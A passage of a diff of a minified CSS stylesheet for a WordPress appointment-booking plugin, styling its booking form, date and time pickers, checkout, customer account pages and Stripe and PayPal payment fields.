.mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-days,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-days,.appointment-form-shortcode .mpa-booking-step-period .dayContainer,.appointment-form-widget>.widget-body .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-day,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.appointment-form-shortcode .mpa-booking-step-period .mpa-slot-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-slot-capacity{display:block}.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.appointment-form-shortcode .mpa-checkout-form .iti,.appointment-form-widget>.widget-body .mpa-checkout-form .iti{width:100%}.appointment-form-shortcode .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .mpa-phone-number--invalid{border-color:red;color:red}.appointment-form-shortcode .mpa-phone-field-error,.appointment-form-widget>.widget-body .mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.appointment-form-shortcode .wp-admin .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details,.appointment-form-shortcode .mpa-booking-step-checkout .mpa-customer-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-customer-details{padding:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details{margin-bottom:40px}@media screen and (min-width: 800px){.appointment-form-shortcode .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people{display:inline-block;width:auto}}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details{list-style:none;margin:0;padding:0;display:flex;flex-wrap:wrap}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li{flex:1 0 auto;margin:0 1.5em 1.5em 0;padding-left:0;padding-right:1.5em;border-right:1px dashed #d3ced2}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type{border:none;margin-right:0;padding-right:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label{display:block;font-size:.85em}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity{display:block;font-size:x-small}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways{padding:0;margin:0;list-style:none}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li{margin-top:1em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label{display:inline}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description{margin:0}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields{margin-top:.5em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-booking,.appointment-form-widget>.widget-body .mpa-booking-step-booking{flex-grow:2}.appointment-form-shortcode .mpa-booking-step-booking .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-booking .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-service-employees{display:flex;flex-wrap:wrap;align-items:center}.mpa-service-employees img{width:45px;height:45px;border-radius:50%;border:3px solid #fff;margin-left:-15px}.mpa-service-employees img:first-child{margin-left:0}.mpa-service-employees img:first-child{z-index:5}.mpa-service-employees img:nth-child(2){z-index:4}.mpa-service-employees img:nth-child(3){z-index:3}.mpa-service-employees img:nth-child(4){z-index:2}.mpa-service-employees img:nth-child(5){z-index:1}.mpa-service-employees .more-employees,.mpa-service-employees .employee-name{margin-left:5px}.mpa-booking-details .mpa-booking-details-section{margin-bottom:1.5em;border:1px solid #eee;padding:.75em 0}.mpa-booking-details .mpa-booking-details-section:last-child{margin-bottom:0}.mpa-booking-details .mpa-booking-details-section-row{display:flex;flex-wrap:wrap;margin:0}.mpa-booking-details .mpa-booking-details-section-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-booking-details .mpa-booking-details-section-row .cell{width:50%}}.mpa-booking-details .booking-reservations,.mpa-booking-details .booking-payments{padding:0}.mpa-booking-details .reservation{border-bottom:1px solid #eee;padding:.75em 0;margin-bottom:0}.mpa-booking-details .reservation:last-child{border:0}.mpa-booking-details .reservation .reservation-calendar-links{display:flex;width:100%}.mpa-booking-details .reservation-title,.mpa-booking-details .reservation-full-date{font-weight:700}.mpa-booking-details .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-booking-details .payment{border-bottom:1px solid #eee;padding:.75em 0}.mpa-booking-details .payment:last-child{border:0}.mpa-booking-details-shortcode+.mpa-direct-link-booking-cancellation-link-shortcode{margin-top:1.5em}.mpa-account-menu{margin-bottom:1.5em}.mpa-account-menu ul{list-style:none;padding:0;margin:0}.mpa-account-menu li{display:inline-block;padding:0;margin:0 .5em 0 0}.mpa-account-menu li:last-child{margin-right:0}.mpa-account-menu li::after,.mpa-account-menu li::before{display:none}.mpa-account-bookings{table-layout:auto;font-size:.85em}@media screen and (max-width: 767px){.mpa-account-bookings thead{display:none}.mpa-account-bookings tr{display:block}.mpa-account-bookings td{display:flex}.mpa-account-bookings td:before{content:attr(data-title) " ";width:50%}}.mpa-account-bookings .booking-number{justify-content:center;gap:.25em}.mpa-account-bookings .booking-number:before{width:auto}.mpa-account-bookings .booking-reservations{flex-direction:column}.mpa-account-bookings .booking-reservations:before{display:none}.mpa-account-bookings .booking-reservation{margin-bottom:.5em}.mpa-account-bookings .booking-reservation:last-child{margin-bottom:0}.mpa-account-bookings .reservation-title{display:block}.mpa-account-details .mpa-customer-details{border:1px solid #eee;padding:.75em 0}.mpa-account-details .mpa-customer-details-row{display:flex;flex-wrap:wrap;margin:0}.mpa-account-details .mpa-customer-details-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-account-details .mpa-customer-details-row .cell{width:50%}}@media screen and (min-width: 992px){.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:wrap}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:relative}}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{max-height:300px}.mpa-stripe-payment-container{margin-bottom:1em}.mpa-stripe-payment-container .mpa-stripe-payment-methods>ul{cursor:pointer;margin:0 0 .5em 0;padding:0;list-style:none}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method{display:inline-block;margin:0 1.5em 0 0;padding-top:.5em;padding-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method:last-of-type{margin-right:0}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method.active label{box-shadow:0 2px currentColor}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method label{cursor:pointer}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method input[type=radio]{display:none}.mpa-stripe-payment-container .mpa-stripe-payment-fields fieldset{border:none;padding:0;margin:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement{box-sizing:border-box;padding:15px 12px;border:1px solid rgba(0,0,0,0);border-radius:4px;background-color:#fff;box-shadow:0 1px 6px 0 #e6ebf1;-webkit-transition:box-shadow 150ms ease;transition:box-shadow 150ms ease;margin-top:.5em;margin-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--focus{box-shadow:0 1px 3px 0 #cfd7df}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--invalid{border-color:#fa755a}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--webkit-autofill{background-color:#fefde5 !important}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-element.StripeElement{padding:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator{text-transform:uppercase;text-align:center}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:before,.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:after{content:" - "}.mpa-stripe-payment-container .mpa-errors{color:#e25950}.mpa-paypal-error{margin:5px 0;color:#e25950}
\ No newline at end of file
+:root{--mpa-grid-gap: 20px}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.6"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.6")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-grid{display:flex;flex-flow:row wrap;margin-right:calc(-1*var(--mpa-grid-gap, 20px));margin-left:calc(-1*var(--mpa-grid-gap, 20px))}.mpa-grid>.mpa-grid-column{padding:0 var(--mpa-grid-gap, 20px);margin-bottom:calc(2*var(--mpa-grid-gap, 20px));width:100%}@media(min-width: 768px){.mpa-grid>.mpa-grid-column{width:50%}}@media(min-width: 992px){.mpa-grid>.mpa-grid-column{width:16.667%}}.mpa-grid.mpa-grid-columns-1>.mpa-grid-column{width:100%}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-2>.mpa-grid-column{width:50%}}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-3>.mpa-grid-column{width:33%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-4>.mpa-grid-column{width:25%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-5>.mpa-grid-column{width:20%}}.mpa-preloader-skeleton-pulsate{background:linear-gradient(-45deg, #DDDDDD, #F0F0F0, #DDDDDD, #F0F0F0);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate{width:100%;height:50px;position:relative;display:block;border-radius:4px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate:before,.mpa-stripe-element.mpa-preloader-skeleton-pulsate:after{content:"";position:absolute;top:calc(50% - 5px);height:10px;background:linear-gradient(-45deg, #cbcbcb, #dddddd, #cbcbcb, #dddddd);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-payment-request-button-element:before{left:calc(50% - 70px);width:140px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:after{right:12px;width:85px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:after{right:12px;width:10px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate .mpa-stripe-iban-element:before{left:12px;width:200px}@-webkit-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@-moz-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}.mpa-posts-loop .mpa-loop-post-wrapper>*:first-child{margin-top:0}.mpa-posts-loop .mpa-loop-post-wrapper>*:last-child{margin-bottom:0}.mpa-posts-loop .post-thumbnail img{margin-top:0;margin-bottom:0}.mpa-pagination{margin-top:0}.appointment-form-shortcode,.appointment-form-widget>.widget-body{display:flex;flex-wrap:wrap;position:relative}.appointment-form-shortcode:not(.mpa-loaded),.appointment-form-widget>.widget-body:not(.mpa-loaded),.appointment-form-shortcode .mpa-booking-step:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.appointment-form-shortcode label,.appointment-form-widget>.widget-body label,.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{width:100%}.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{display:block}.appointment-form-shortcode .mpa-message,.appointment-form-widget>.widget-body .mpa-message{width:100%}.appointment-form-shortcode .mpa-actions,.appointment-form-widget>.widget-body .mpa-actions{margin-top:1.5em}.appointment-form-shortcode .mpa-booking-step,.appointment-form-widget>.widget-body .mpa-booking-step{width:100%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item-template,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item-template{display:none}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item{margin-bottom:40px;border:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*{width:50%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child{margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{box-sizing:border-box;padding:5px 25px;width:100%}@media(min-width: 992px){.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{width:50%}}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell-title,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell-title{font-weight:700;margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-body,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-body,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{width:100%;display:flex;flex-wrap:wrap;padding:20px 0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header{border-bottom:1px solid #eee;font-weight:700}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header+.item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header+.item-footer{border-top:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{border-top:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer .cell{width:100%}.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:50%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-days,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-days,.appointment-form-shortcode .mpa-booking-step-period .dayContainer,.appointment-form-widget>.widget-body .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-day,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.appointment-form-shortcode .mpa-booking-step-period .mpa-slot-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-slot-capacity{display:block}.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.appointment-form-shortcode .mpa-checkout-form .iti,.appointment-form-widget>.widget-body .mpa-checkout-form .iti{width:100%}.appointment-form-shortcode .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .mpa-phone-number--invalid{border-color:red;color:red}.appointment-form-shortcode .mpa-phone-field-error,.appointment-form-widget>.widget-body .mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.appointment-form-shortcode .wp-admin .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details,.appointment-form-shortcode .mpa-booking-step-checkout 